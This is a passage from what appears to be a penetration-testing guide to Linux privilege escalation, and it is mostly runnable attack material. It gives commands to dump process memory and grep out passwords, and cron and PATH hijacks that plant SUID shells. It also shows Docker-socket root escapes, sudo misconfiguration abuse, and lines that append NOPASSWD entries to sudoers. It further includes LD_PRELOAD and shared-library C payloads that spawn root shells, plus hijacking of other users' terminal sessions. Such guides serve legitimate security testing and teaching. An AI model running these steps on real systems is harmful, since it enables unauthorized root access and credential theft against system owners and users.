Also, check if any compiler is installed. This is useful if you need to use some kernel exploit as it's recommended to compile it in the machine where you are going to use it (or in one similar)

+
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
+
+

Vulnerable Software Installed

+

Check for the version of the installed packages and services. Maybe there is some old Nagios version (for example) that could be exploited for escalating privileges… +It is recommended to check manually the version of the more suspicious installed software.

+
dpkg -l #Debian
+rpm -qa #Centos
+
+

If you have SSH access to the machine you could also use openVAS to check for outdated and vulnerable software installed inside the machine.

+

Note that these commands will show a lot of information that will mostly be useless, therefore it's recommended some application like OpenVAS or similar that will check if any installed software version is vulnerable to known exploits

+

Processes

+

Take a look to what processes are being executed and check if any process has more privileges that it should (maybe a tomcat being executed by root?)

+
ps aux
+ps -ef
+top -n 1
+
+

Always check for possible electron/cef/chromium debuggers running, you could abuse it to escalate privileges. Linpeas detect those by checking the --inspect parameter inside the command line of the process. +Also check your privileges over the processes binaries, maybe you can overwrite someone.

+

Process monitoring

+

You can use tools like pspy to monitor processes. This can be very useful to identify vulnerable processes being executed frequently or when a set of requirements are met.

+

Process memory

+

Some services of a server save credentials in clear text inside the memory. +Normally you will need root privileges to read the memory of processes that belong to other users, therefore this is usually more useful when you are already root and want to discover more credentials. +However, remember that as a regular user you can read the memory of the processes you own.

+

GDB

+

If you have access to the memory of a FTP service (for example) you could get the Heap and search inside of it the credentials.

+
gdb -p <FTP_PROCESS_PID>
+(gdb) info proc mappings
+(gdb) q
+(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
+(gdb) q
+strings /tmp/mem_ftp #User and password
+
+

GDB Script

+
#!/bin/bash
+#./dump-memory.sh <PID>
+grep rw-p /proc/$1/maps \
+    | sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
+    | while read start stop; do \
+    gdb --batch --pid $1 -ex \
+    "dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \
+done
+
+

/proc/$pid/maps & /proc/$pid/mem

+

For a given process ID, maps shows how memory is mapped within that processes' virtual address space; it also shows the permissions of each mapped region. The mem pseudo file exposes the processes memory itself. From the maps file we know which memory regions are readable and their offsets. We use this information to seek into the mem file and dump all readable regions to a file.

+
procdump()
+(
+    cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-"
+    while read a b; do
+        dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
+           skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin"
+    done )
+    cat $1*.bin > $1.dump
+    rm $1*.bin
+)
+
+

/dev/mem

+

/dev/mem provides access to the system's physical memory, not the virtual memory. The kernels virtual address space can be accessed using /dev/kmem. +Typically, /dev/mem is only readable by root and kmem group.

+
strings /dev/mem -n10 | grep -i PASS
+
+

Tools

+

To dump a process memory you could use:

+ +

Credentials from Process Memory

+

Manual example

+

If you find that the authenticator process is running:

+
ps -ef | grep "authenticator"
+root      2027  2025  0 11:46 ?        00:00:00 authenticator
+
+

You can dump the process (see before sections to find different ways to dump the memory of a process) and search for credentials inside the memory:

+
./dump-memory.sh 2027
+strings *.dump | grep -i password
+
+

mimipenguin

+

The tool https://github.com/huntergregal/mimipenguin will steal clear text credentials from memory and from some well known files. It requires root privileges to work properly.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureProcess Name
GDM password (Kali Desktop, Debian Desktop)gdm-password
Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop)gnome-keyring-daemon
LightDM (Ubuntu Desktop)lightdm
VSFTPd (Active FTP Connections)vsftpd
Apache2 (Active HTTP Basic Auth Sessions)apache2
OpenSSH (Active SSH Sessions - Sudo Usage)sshd:
+

Scheduled/Cron jobs

+

Check if any scheduled job is vulnerable. Maybe you can take advantage of a script being executed by root (wildcard vuln? can modify files that root uses? use symlinks? create specific files in the directory that root uses?).

+
crontab -l
+ls -al /etc/cron* /etc/at*
+cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"
+
+

Cron path

+

For example, inside /etc/crontab you can find the PATH: PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

+

(Note how the user "user" has writing privileges over /home/user)

+

If inside this crontab the root user tries to execute some command or script without setting the path. For example: root overwrite.sh +Then, you can get a root shell by using:

+
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
+#Wait cron job to be executed
+/tmp/bash -p #The effective uid and gid to be set to the real uid and gid
+
+

Cron using a script with a wildcard (Wildcard Injection)

+

If a script being executed by root has a “*” inside a command, you could exploit this to make unexpected things (like privesc). Example:

+
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
+
+

If the wildcard is preceded of a path like /some/path/* , it's not vulnerable (even ./* is not).

+

Read the following page for more wildcard exploitation tricks:

+

https://book.hacktricks.xyz/linux-unix/privilege-escalation/wildcards-spare-tricks

+ +

If you can modify a cron script executed by root, you can get a shell very easily:

+
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
+#Wait until it is executed
+/tmp/bash -p
+
+

If the script executed by root uses a directory where you have full access, maybe it could be useful to delete that folder and create a symlink folder to another one serving a script controlled by you

+
ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
+
+

Frequent cron jobs

+

You can monitor the processes to search for processes that are being executed every 1,2 or 5 minutes. Maybe you can take advantage of it and escalate privileges.

+

For example, to monitor every 0.1s during 1 minute, sort by less executed commands and deleting the commands that have beeing executed all the time, you can do:

+
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
+
+

You can also use pspy (this will monitor and list every process that start).

+

Invisible cron jobs

+

It's possible to create a cronjob putting a carriage return after a comment (without new line character), and the cron job will work. Example (note the carriege return char):

+
#This is a comment inside a cron config file\r* * * * * echo "Surprise!"
+
+

Services

+

Writable .service files

+

Check if you can write any .service file, if you can, you could modify it so it executes your backdoor when the service is started, restarted or stopped (maybe you will need to wait until the machine is rebooted). +For example create your backdoor inside the .service file with ExecStart=/tmp/script.sh

+

Writable service binaries

+

Keep in mid that if you have write permissions over binaries being executed by services, you can change them for backdoors so when the services get re-executed the backdoors will be executed.

+

systemd PATH - Relative Paths

+

You can see the PATH used by systemd with:

+
systemctl show-environment
+
+

If you find that you can write in any of the folders of the path you may be able to escalate privileges. You need to search for relative paths being used on service configurations files like:

+
ExecStart=faraday-server
+ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
+ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
+
+

Then, create a executable with the same name as the relative path binary inside the systemd PATH folder you can write, and when the service is asked to execute the vulnerable action (Start, Stop, Reload), your backdoor will be executed (unprivileged users usually cannot start/stop services but check if you can using sudo -l).

+

Learn more about services with man systemd.service.

+

Timers

+

Timers are systemd unit files whose name ends in . timer that control . service files or events. Timers can be used as an alternative to cron. Timers have built-in support for calendar time events, monotonic time events, and can be run asynchronously.

+

You can enumerate all the timers doing:

+
systemctl list-timers --all
+
+

Writable timers

+

If you can modify a timer you can make it execute some existent systemd.unit (like a .service or a .target)

+
Unit=backdoor.service
+
+

In the documentation you can read what the Unit is:

+
+

The unit to activate when this timer elapses. The argument is a unit name, whose suffix is not ".timer". If not specified, this value defaults to a service that has the same name as the timer unit, except for the suffix. (See above.) It is recommended that the unit name that is activated and the unit name of the timer unit are named identically, except for the suffix.

+
+

Therefore, in order to abuse this permissions you would need to:

+
    +
  • Find some systemd unit (like a .service) that is executing a writable binary
  • +
  • Find some systemd unit that is executing a relative path and you have writable privileges over the systemd PATH (to impersonate that executable)
  • +
+

Learn more about timers with man systemd.timer.

+

Enabling Timer

+

In order to enable a timer you need root privileges and to execute:

+
sudo systemctl enable backu2.timer
+Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.
+
+

Note the timer is activated by creating a symlink to it on /etc/systemd/system/<WantedBy_section>.wants/<name>.timer

+

Sockets

+

In brief, a Unix Socket (technically, the correct name is Unix domain socket, UDS) allows communication between two different processes on either the same machine or different machines in client-server application frameworks. To be more precise, it’s a way of communicating among computers using a standard Unix descriptors file. (From here).

+

Sockets can be configured using .socket files.

+

Learn more about sockets with man systemd.socket. Inside this file some several interesting parameters can be configured:

+
    +
  • ListenStream, ListenDatagram, ListenSequentialPacket, ListenFIFO, ListenSpecial, ListenNetlink, ListenMessageQueue, ListenUSBFunction: This options are different but as summary as used to indicate where is going to listen the socket (the path of the AF_UNIX socket file, the IPv4/6 and/or port number to listen...).
  • +
  • Accept: Takes a boolean argument. If true, a service instance is spawned for each incoming connection and only the connection socket is passed to it. If false, all listening sockets themselves are passed to the started service unit, and only one service unit is spawned for all connections. This value is ignored for datagram sockets and FIFOs where a single service unit unconditionally handles all incoming traffic. Defaults to false. For performance reasons, it is recommended to write new daemons only in a way that is suitable for Accept=no.
  • +
  • ExecStartPre, ExecStartPost: Takes one or more command lines, which are executed before or after the listening sockets/FIFOs are created and bound, respectively. The first token of the command line must be an absolute filename, then followed by arguments for the process.
  • +
  • ExecStopPre, ExecStopPost: Additional commands that are executed before or after the listening sockets/FIFOs are closed and removed, respectively.
  • +
  • Service: Specifies the service unit name to activate on incoming traffic. This setting is only allowed for sockets with Accept=no. It defaults to the service that bears the same name as the socket (with the suffix replaced). In most cases, it should not be necessary to use this option.
  • +
+

Writable .socket files

+

If you find a writable .socket file you can add at the beginning of the [Socket] section something like: ExecStartPre=/home/kali/sys/backdoor and the backdoor will be executed before the socket is created. Therefore, you will probably need to wait until the machine is rebooted. +Note that the system must be using that socket file configuration or the backdoor won't be executed

+

Writable sockets

+

If you identify any writable socket (now where are talking about Unix Sockets, not about the config .socket files), then, you can communicate with that socket and maybe exploit a vulnerability.

+

Enumerate Unix Sockets

+
netstat -a -p --unix
+
+

Raw connection

+
#apt-get install netcat-openbsd
+nc -U /tmp/socket  #Connect to UNIX-domain stream socket
+nc -uU /tmp/socket #Connect to UNIX-domain datagram socket
+
+#apt-get install socat
+socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type
+
+

Exploitation example:

+

https://book.hacktricks.xyz/linux-unix/privilege-escalation/socket-command-injection

+

HTTP sockets

+

Note that there may be some sockets listening for HTTP requests (I'm not talking about .socket files but about the files acting as unix sockets). You can check this with:

+
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
+
+

If the socket respond with a HTTP request, then you can communicate with it and maybe exploit some vulnerability.

+

Writable Docker Socket

+

The docker socket is typically located at /var/run/docker.sock and is only writable by root user and docker group. +If for some reason you have write permissions over that socket you can escalate privileges. +The following commands can be used to escalate privileges:

+
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
+docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
+
+

Use docker web API from socket without docker package

+

If you have access to docker socket but you can't use the docker binary (maybe it isn't even installed), you can use directly the web API with curl.

+

The following commands are a example to create a docker container that mount the root of the host system and use socat to execute commands into the new docker.

+
# List docker images
+curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
+##[{"Containers":-1,"Created":1588544489,"Id":"sha256:<ImageID>",...}]
+# Send JSON to docker API to create the container
+curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create
+##{"Id":"<NewContainerID>","Warnings":[]}
+curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start
+
+

The last step is to use socat to initiate a connection to the container, sending an attach request

+
socat - UNIX-CONNECT:/var/run/docker.sock
+POST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
+Host:
+Connection: Upgrade
+Upgrade: tcp
+
+#HTTP/1.1 101 UPGRADED
+#Content-Type: application/vnd.docker.raw-stream
+#Connection: Upgrade
+#Upgrade: tcp
+
+

Now, you can execute commands on the container from this socat connection.

+

Others

+

Note that if you have write permissions over the docker socket because you are inside the group docker you have more ways to escalate privileges. If the docker API is listening in a port you can also be able to compromise it.

+

Containerd (ctr) privilege escalation

+

If you find that you can use the ctr command read the following page as you may be able to abuse it to escalate privileges:

+

https://book.hacktricks.xyz/linux-unix/privilege-escalation/containerd-ctr-privilege-escalation

+

RunC privilege escalation

+

If you find that you can use the runc command read the following page as you may be able to abuse it to escalate privileges:

+

https://book.hacktricks.xyz/linux-unix/privilege-escalation/runc-privilege-escalation

+

D-Bus

+

D-BUS is an inter-process communication (IPC) system, providing a simple yet powerful mechanism allowing applications to talk to one another, communicate information and request services. D-BUS was designed from scratch to fulfil the needs of a modern Linux system.

+

D-BUS, as a full-featured IPC and object system, has several intended uses. First, D-BUS can perform basic application IPC, allowing one process to shuttle data to another—think UNIX domain sockets on steroids. Second, D-BUS can facilitate sending events, or signals, through the system, allowing different components in the system to communicate and ultimately to integrate better. For example, a Bluetooth daemon can send an incoming call signal that your music player can intercept, muting the volume until the call ends. Finally, D-BUS implements a remote object system, letting one application request services and invoke methods from a different object—think CORBA without the complications. (From here).

+

D-Bus uses an allow/deny model, where each message (method call, signal emission, etc.) can be allowed or denied according to the sum of all policy rules which match it. Each or rule in the policy should have the own, send_destination or receive_sender attribute set.

+

Part of the policy of /etc/dbus-1/system.d/wpa_supplicant.conf:

+
<policy user="root">
+    <allow own="fi.w1.wpa_supplicant1"/>
+    <allow send_destination="fi.w1.wpa_supplicant1"/>
+    <allow send_interface="fi.w1.wpa_supplicant1"/>
+    <allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
+</policy>
+
+

Therefore, if a policy is allowing your user in anyway to interact with the bus, you could be able to exploit it to escalate privileges (maybe just listing for some passwords?).

+

Note that a policy that doesn't specify any user or group affects everyone (<policy>). +Policies to the context "default" affects everyone not affected by other policies (<policy context="default").

+

Learn how to enumerate and exploit a D-Bus communication here:

+

https://book.hacktricks.xyz/linux-unix/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation

+

Network

+

It's always interesting to enumerate the network and figure out the position of the machine.

+

Generic enumeration

+
#Hostname, hosts and DNS
+cat /etc/hostname /etc/hosts /etc/resolv.conf
+dnsdomainname
+
+#Content of /etc/inetd.conf & /etc/xinetd.conf
+cat /etc/inetd.conf /etc/xinetd.conf
+
+#Interfaces
+cat /etc/networks
+(ifconfig || ip a)
+
+#Neighbours
+(arp -e || arp -a)
+(route || ip n)
+
+#Iptables rules
+(timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null)
+
+#Files used by network services
+lsof -i
+
+

Open ports

+

Always check network services running on the machine that you wasn't able to interact with before accessing to it:

+
(netstat -punta || ss --ntpu)
+(netstat -punta || ss --ntpu) | grep "127.0"
+
+

Sniffing

+

Check if you can sniff traffic. If you can, you could be able to grab some credentials.

+
timeout 1 tcpdump
+
+

Users

+

Generic Enumeration

+

Check who you are, which privileges do you have, which users are in the systems, which ones can login and which ones have root privileges:

+
#Info about me
+id || (whoami && groups) 2>/dev/null
+#List all users
+cat /etc/passwd | cut -d: -f1
+#List users with console
+cat /etc/passwd | grep "sh$"
+#List superusers
+awk -F: '($3 == "0") {print}' /etc/passwd
+#Currently logged users
+w
+#Login history
+last | tail
+#Last log of each user
+lastlog
+
+#List all users and their groups
+for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | sort
+#Current user PGP keys
+gpg --list-keys 2>/dev/null
+
+

Big UID

+

Some Linux versions were affected by a bug that allow users with UID > INT_MAX to escalate privileges. More info: here, here and here. +Exploit it using: systemd-run -t /bin/bash

+

Groups

+

Check if you are a member of some group that could grant you root privileges:

+

https://book.hacktricks.xyz/linux-unix/privilege-escalation/interesting-groups-linux-pe

+

Clipboard

+

Check if anything interesting is located inside the clipboard (if possible)

+
if [ `which xclip 2>/dev/null` ]; then
+    echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
+    echo "Highlighted text: "`xclip -o 2>/dev/null`
+  elif [ `which xsel 2>/dev/null` ]; then
+    echo "Clipboard: "`xsel -ob 2>/dev/null`
+    echo "Highlighted text: "`xsel -o 2>/dev/null`
+  else echo "Not found xsel and xclip"
+  fi
+
+

Password Policy

+
grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs
+
+

Known passwords

+

If you know any password of the environment try to login as each user using the password.

+

Su Brute

+

If don't mind about doing a lot of noise and su and timeout binaries are present on the computer you can try to brute-force user using su-bruteforce. +Linpeas with -a parameter also try to brute-force users.

+

Writable PATH abuses

+

$PATH

+

If you find that you can write inside some folder of the $PATH you may be able to escalate privileges by creating a backdoor inside the writable folder with the name of some command that is going to be executed by a different user (root ideally) and that is not loaded from a folder that is located previous to your writable folder in $PATH.

+

SUDO and SUID

+

You could be allowed to execute some command using sudo or they could have the suid bit. Check it using:

+
sudo -l #Check commands you can execute with sudo
+find / -perm -4000 2>/dev/null #Find all SUID binaries
+
+

Some unexpected commands allows you to read and/or write files or even execute command. For example:

+
sudo awk 'BEGIN {system("/bin/sh")}'
+sudo find /etc -exec sh -i \;
+sudo tcpdump -n -i lo -G1 -w /dev/null -z ./runme.sh
+sudo tar c a.tar -I ./runme.sh a
+ftp>!/bin/sh
+less>! <shell_comand>
+
+

NOPASSWD

+

Sudo configuration might allow a user to execute some command with another user privileges without knowing the password.

+
$ sudo -l
+User demo may run the following commands on crashlab:
+    (root) NOPASSWD: /usr/bin/vim
+
+

In this example the user demo can run vim as root, it is now trivial to get a shell by adding an ssh key into the root directory or by calling sh.

+
sudo vim -c '!sh'
+
+

SETENV

+

This directive allows the user to set an environment variable while executing something:

+
$ sudo -l
+User waldo may run the following commands on admirer:
+    (ALL) SETENV: /opt/scripts/admin_tasks.sh
+
+

This example, based on HTB machine Admirer, was vulnerable to PYTHONPATH hijacking in order to load an arbitrary python library while executing the script as root:

+
sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
+
+

Sudo execution bypassing paths

+

Jump to read other files or use symlinks. For example in sudeores file: hacker10 ALL= (root) /bin/less /var/log/*

+
sudo less /var/logs/anything
+less>:e /etc/shadow #Jump to read other files using privileged less
+ln /etc/shadow /var/log/new
+sudo less /var/log/new #Use symlinks to read any file
+
+

If a wilcard is used (*), it is even easier:

+
sudo less /var/log/../../etc/shadow #Read shadow
+sudo less /var/log/something /etc/shadow #Red 2 files
+
+

Countermeasures: https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/

+

Sudo command/SUID binary without command path

+

If the sudo permission is given to a single command without specifying the path: hacker10 ALL= (root) less you can exploit it by changing the PATH variable

+
export PATH=/tmp:$PATH
+#Put your backdoor in /tmp and name it "less"
+sudo less
+
+

This technique can also be used if a suid binary executes another command without specifying the path to it (always check with strings the content of a weird SUID binary).

+

Payload examples to execute.

+

SUID binary with command path

+

If the suid binary executes another command specifying the path, then, you can try to export a function named as the command that the suid file is calling.

+

For example, if a suid binary calls /usr/sbin/service apache2 start you have to try to create the function and export it:

+
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
+export -f /usr/sbin/service
+
+

Then, when you call the suid binary, this function will be executed

+

LD_PRELOAD

+

LD_PRELOAD is an optional environmental variable containing one or more paths to shared libraries, or shared objects, that the loader will load before any other shared library including the C runtime library (libc.so) This is called preloading a library.

+

To avoid this mechanism being used as an attack vector for suid/sgid executable binaries, the loader ignores LD_PRELOAD if ruid != euid. For such binaries, only libraries in standard paths that are also suid/sgid will be preloaded.

+

If you find inside the output of sudo -l the sentence: env_keep+=LD_PRELOAD and you can call some command with sudo, you can escalate privileges.

+
Defaults        env_keep += LD_PRELOAD
+
+

Save as /tmp/pe.c

+
#include <stdio.h>
+#include <sys/types.h>
+#include <stdlib.h>
+
+void _init() {
+    unsetenv("LD_PRELOAD");
+    setgid(0);
+    setuid(0);
+    system("/bin/bash");
+}
+
+

Then compile it using:

+
cd /tmp
+gcc -fPIC -shared -o pe.so pe.c -nostartfiles
+
+

Finally, escalate privileges running

+
sudo LD_PRELOAD=pe.so <COMMAND> #Use any command you can run with sudo
+
+

SUID Binary – so injection

+

If you find some weird binary with SUID permissions, you could check if all the .so files are loaded correctly. In order to do so you can execute:

+
strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
+
+

For example, if you find something like: pen(“/home/user/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory) you can exploit it.

+

Create the file /home/user/.config/libcalc.c with the code:

+
#include <stdio.h>
+#include <stdlib.h>
+
+static void inject() __attribute__((constructor));
+
+void inject(){
+    system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
+}
+
+

Compile it using:

+
gcc -shared -o /home/user/.config/libcalc.so -fPIC /home/user/.config/libcalc.c
+
+

And execute the binary.

+

GTFOBins

+

GTFOBins is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions.

+

The project collects legitimate functions of Unix binaries that can be abused to break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate the other post-exploitation tasks.

+
+

gdb -nx -ex '!sh' -ex quit +sudo mysql -e '! /bin/sh' +strace -o /dev/null /bin/sh +sudo awk 'BEGIN {system("/bin/sh")}'

+
+

https://gtfobins.github.io/

+

FallOfSudo

+

If you can access sudo -l you can use the tool FallOfSudo to check if it finds how to exploit any sudo rule.

+

Reusing Sudo Tokens

+

In the scenario where you have a shell as a user with sudo privileges but you don't know the password of the user, you can wait him to execute some command using sudo. Then, you can access the token of the session where sudo was used and use it to execute anything as sudo (privilege escalation).

+

Requirements to escalate privileges:

+
    +
  • You already have a shell as user "sampleuser"
  • +
  • "sampleuser" have used sudo to execute something in the last 15mins (by default that's the duration of the sudo token that allows to use sudo without introducing any password)
  • +
  • cat /proc/sys/kernel/yama/ptrace_scope is 0
  • +
  • gdb is accessible (you can be able to upload it)
  • +
+

(You can temporarily enable ptrace_scope with echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope or permanently modifying /etc/sysctl.d/10-ptrace.conf and setting kernel.yama.ptrace_scope = 0)

+

If all these requirements are met, you can escalate privileges using: https://github.com/nongiach/sudo_inject

+
    +
  • The first exploit (exploit.sh) will create the binary activate_sudo_token in /tmp. You can use it to activate the sudo token in your session (you won't get automatically a root shell, do sudo su):
  • +
+
bash exploit.sh
+/tmp/activate_sudo_token
+sudo su
+
+
    +
  • The second exploit (exploit_v2.sh) will create a sh shell in /tmp owned by root with setuid
  • +
+
bash exploit_v2.sh
+/tmp/sh -p
+
+
    +
  • The third exploit (exploit_v3.sh) will create a sudoers file that makes sudo tokens eternal and allows all users to use sudo
  • +
+
bash exploit_v3.sh
+sudo su
+
+

/var/run/sudo/ts/

+

If you have write permissions in the folder or on any of the created files inside the folder you can use the binary write_sudo_token to create a sudo token for a user and PID. +For example if you can overwrite the file /var/run/sudo/ts/sampleuser and you have a shell as that user with PID 1234, you can obtain sudo privileges without needing to know the password doing:

+
./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
+
+

/etc/sudoers, /etc/sudoers.d

+

The file /etc/sudoers and the files inside /etc/sudoers.d configure who can use sudo and how. This files by default can only be read by user root and group root. +If you can read this file you could be able to obtain some interesting information, and if you can write any file you will be able to escalate privileges.

+
ls -l /etc/sudoers /etc/sudoers.d/
+ls -ld /etc/sudoers.d/
+
+

If you can write you can abuse this permissions

+
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
+echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README
+
+

Other way to abuse these permissions:

+
# makes it so every terminal can sudo  
+echo "Defaults !tty_tickets" > /etc/sudoers.d/win
+# makes it so sudo never times out
+echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win
+
+

DOAS

+

There are some alternatives to the sudo binary such as doas for OpenBSD, remember to check its configuration at /etc/doas.conf

+
permit nopass demo as root cmd vim
+
+

Sudo Hijacking

+

If you know that a user usually connects to a machine and uses sudo to escalate privileges and you got a shell within that user context, you can create a new sudo executable that will execute your code as root and then the users command. Then, modify the $PATH of the user context (for example adding the new path in .bash_profile) so we the user executed sudo, your sudo executable is executed.

+

Note that if the user uses a different shell (not bash) you will need to modify other files to add the new path. For example sudo-piggyback modifies ~/.bashrc, ~/.zshrc, ~/.bash_profile. You can find another example in bashdoor.py

+

Shared Library

+

ld.so

+

The file /etc/ld.so.conf indicates where are loaded the configurations files from. Typically, this file contains the following path: include /etc/ld.so.conf.d/*.conf

+

That means that the configuration files from /etc/ld.so.conf.d/*.conf will be read. This configuration files points to another folders where libraries are going to be searched for. For example, the content of /etc/ld.so.conf.d/libc.conf is /usr/local/lib. This means that the system will search for libraries inside /usr/local/lib.

+

If for some reason a user has write permissions on any of the paths indicated: /etc/ld.so.conf, /etc/ld.so.conf.d/, any file inside /etc/ld.so.conf.d/ or any folder indicated inside any config file inside /etc/ld.so.conf.d/*.conf he may be able to escalate privileges. +Take a look about how to exploit this misconfiguration in the following page:

+

https://book.hacktricks.xyz/linux-unix/privilege-escalation/ld.so.conf-example

+

RPATH

+
level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
+ 0x00000001 (NEEDED)                     Shared library: [libc.so.6]
+ 0x0000000f (RPATH)                      Library rpath: [/var/tmp/flag15]
+
+level15@nebula:/home/flag15$ ldd ./flag15
+ linux-gate.so.1 =>  (0x0068c000)
+ libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
+ /lib/ld-linux.so.2 (0x005bb000)
+
+

By copying the lib into /var/tmp/flag15/ it will be used by the program in this place as specified in the RPATH variable.

+
level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/
+
+level15@nebula:/home/flag15$ ldd ./flag15
+ linux-gate.so.1 =>  (0x005b0000)
+ libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
+ /lib/ld-linux.so.2 (0x00737000)
+
+

Then create an evil library in /var/tmp with gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6

+
#include<stdlib.h>
+#define SHELL "/bin/sh"
+
+int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
+{
+ char *file = SHELL;
+ char *argv[] = {SHELL,0};
+ setresuid(geteuid(),geteuid(), geteuid());
+ execve(file,argv,0);
+}
+
+

Capabilities

+

Linux capabilities provide a subset of the available root privileges to a process. This effectively breaks up root privileges into smaller and distinctive units. Each of these units can then be independently be granted to processes. This way the full set of privileges is reduced and decreasing the risks of exploitation. +Read the following page to learn more about capabilities and how to abuse them:

+

https://book.hacktricks.xyz/linux-unix/privilege-escalation/linux-capabilities

+

Directory permissions

+

In a directory the bit for execute implies that the user affected can "cd" into the folder. +The read bit implies the user can list the files, and the write bit implies the user can delete and create new files.

+

ACLs

+

ACLs are a second level of discretionary permissions, that may override the standard ugo/rwx ones. When used correctly they can grant you a better granularity in setting access to a file or a directory, for example by giving or denying access to a specific user that is neither the file owner, nor in the group owner (from here). +Give user "kali" read and write permissions over a file:

+
setfacl -m u:kali:rw file.txt
+
+

Get files with specific ACLs from the system:

+
getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
+
+

Open shell sessions

+

In old versions you may hijack some shell session of a different user (root). +In newest versions you will be able to connect to screen sessions only of your own user. However, you could find interesting information inside of the session.

+

screen sessions hijacking

+

List screen sessions

+
screen -ls
+
+

img

+

Attach to a session

+
screen -dr <session> #The -d is to detacche whoever is attached to it
+screen -dr 3350.foo #In the example of the image
+
+

tmux sessions hijacking

+

Apparently this was a problem with old tmux versions. I wasn't able to hijack a tmux (v2.1) session created by root from a non-privileged user.

+

List tmux sessions

+
tmux ls
+ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
+tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess
+
+

img

+

Attach to a session

+
tmux attach -t myname #If you write something in this session it will appears in the other opened one
+tmux attach -d -t myname #First detach the sessinos from the other console and then access it yourself
+tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket
+
+

Check valentine box from HTB for an example.

+

SSH

+

Debian OpenSSL Predictable PRNG - CVE-2008-0166

+

All SSL and SSH keys generated on Debian-based systems (Ubuntu, Kubuntu, etc) between September 2006 and May 13th, 2008 may be affected by this bug. +This bug caused that when creating in those OS a new ssh key only 32,768 variations were possible. This means that all the possibilities can be calculated and having the ssh public key you can search for the corresponding private key. You can find the calculated possibilities here: https://github.com/g0tmi1k/debian-ssh

+

SSH Interesting configuration values

+
    +
  • PasswordAuthentication: Specifies whether password authentication is allowed. The default is no.
  • +
  • PubkeyAuthentication: Specifies whether public key authentication is allowed. The default is yes.
